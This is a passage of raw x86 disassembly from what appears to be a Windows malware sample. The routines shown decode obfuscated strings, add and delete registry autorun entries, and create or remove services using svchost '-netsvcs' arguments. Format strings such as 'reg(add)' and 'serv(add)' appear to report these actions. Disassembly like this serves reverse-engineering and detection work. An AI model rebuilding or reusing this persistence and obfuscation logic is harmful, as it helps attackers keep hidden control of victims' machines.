2920000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2920000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax call near ptr 27F0A13h nop lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 call near ptr 2920AF1h nop mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447874 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi nop call near ptr 2930000h mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 call near ptr 27C0896h nop cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi nop call near ptr 29303B4h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 293060Dh test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2920AF1h nop mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi call near ptr 28C06A0h nop mov esi, eax test esi, esi jnz short loc_40EFE4 push edi nop call near ptr 29303B4h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 2920708h push esi nop call near ptr 2920908h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2920AF1h mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi call near ptr 28C06A0h nop test eax, eax jnz short loc_40F076 push esi nop call near ptr 29303B4h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2920AF1h mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 28C06A0h mov esi, eax test esi, esi jnz short loc_40F0FB push edi call near ptr 29303B4h nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi nop call near ptr 2910B7Eh push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F70 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 nop call near ptr 27F0769h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447134 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447138 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44713C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447140 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h var_4 